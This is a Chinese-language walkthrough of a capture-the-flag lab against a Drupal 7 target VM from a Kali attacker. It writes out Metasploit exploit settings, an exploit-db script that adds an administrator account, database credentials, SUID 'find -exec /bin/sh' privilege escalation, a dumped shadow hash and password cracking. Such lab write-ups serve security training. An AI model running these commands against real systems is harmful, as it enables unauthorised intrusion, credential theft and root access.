某靶机渗透测试思路详解
环境搭建
靶机下载地址
虚拟机导入靶机

导入虚拟机之后,可直接开始了,这里靶机的地址我们也不知道,完全的黑盒测试,攻击机为kali

信息搜集
首先需要测试靶机的ip地址是多少
netdiscover -n 192.168.0.102/24
参数命令详解

可能会报错,具体原因不清楚,这里建议使用

因为使用的是vmware所以直接进本可以确定目标靶机的ip地址是192.168.0.119
扫描端口

查看web服务

22端口尝试爆破

111端口的利用经过搜索只是能利用内存造成溢出使靶机崩溃,并没有什么利用手法
思路+方式
针对Drupal搜索一下,发现该cms存在RCE漏洞,直接利用msf的攻击模块可以操作。

首先想到的是use 3
因为,后面的描述,但是实际情况是use 4
才能够拿到shell
use 4
set rhost 192.168.0.119
set lhost 192.168.0.102




使用ls
遍历文件,看到flag1.txt
,直接cat命令打开

这是flag2文件的条件思路,要看配置文件的内容,

着实操作有点难受,实现交互式shell的几种方式尝试一下,也就python好用
python -c 'import pty;pty.spawn("/bin/bash")'

舒服多了,找配置文件使用命令去查找

但是还是没找到文件位置
grep -rn "settings.php" *

至于说为什么找set,是因为config的字符串找不到配置文件,配置文件位置在
/var/www/sites/default/settings.php
查找是否存在flag
grep -i "flag" settings.php

找到flag2

下面的数据库信息是给出的flag3的线索

登录mysql数据库
mysql -udbuser -pR0ck3t
show databases;
use drupaldb;
show tables;
select * from users;

拿到admin的md5的值

因为admin1为刚才我们尝试注册进入后台的时候创建的,以为kali自带的爆破工具john
可以爆破,无果,,但是想要进入后台就算想要使用密码进入,使用sql语句修改密码也得有对应的加密后的密码来替换,但是此时我们并不清楚密码的生成规则是什么,查询一下cms的版本信息
基本上可以确定这个cms的版本应该为7.24


从cms版本信息看这些漏洞基本上都可以利用,百度了一下,知道Drupal的

这个脚本利用可以直接增加管理员用户,所以这个方法应该是比较简单的方式进入后台,进入msf工具的exp目录下
cd /usr/share/exploitdb/exploits/php/webapps
python 34992.py -t http://192.168.0.119 -u admin3 -p 123456

登录后拿到flag3,且根据提示
需要查询shadow文件,下一个flag似乎跟这个有关,那么似乎考点就是suid提权。使用find命令查看拥有suid权限的文件
find / -perm -u=s -type f 2>/dev/null

使用suid提权查看用户权限
find /usr/bin/passwd -exec "whoami" \;

提权
find /usr/bin/passwd -exec "/bin/sh" \;

查看shadow文件

里面存在flag4的用户
flag4:$6$Nk47pS8q$vTXHYXBFqOoZERNGFThbnZfi5LN0ucGZe05VMtMuIFyqYzY/eVbPNMZ7lpfRVc0BYrQ0brAhJoEzoEWCKxVW80:17946:0:99999:7:::

john直接解密
flag4/orange
由于再信息搜集的阶段发现22端口是开放的。所以ssh登录,这里登录的目标变为104是因为,虚拟机出问题重启了之后重新分配ip地址了,所以靶机的ip地址又被分配为了192.168.0.104
ssh flag4@192.168.0.104

拿到flag4,同样的方式获取到根目录的flag,即flag5
查找suid文件
find / -perm -u=s -type f 2>/dev/null

提权
find /usr/bin/find -exec "/bin/sh" \;

读取thefinalflag.txt
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
小结
基本上没有什么特别的难点,只是一些手段和方法,msf的使用和suid提权的方式读取flag,其次就是再使用工具的过程中解题方法不要只是局限于某一种方法,搜集的信息也肯定能利用的到,前后联系,基本上没有问题。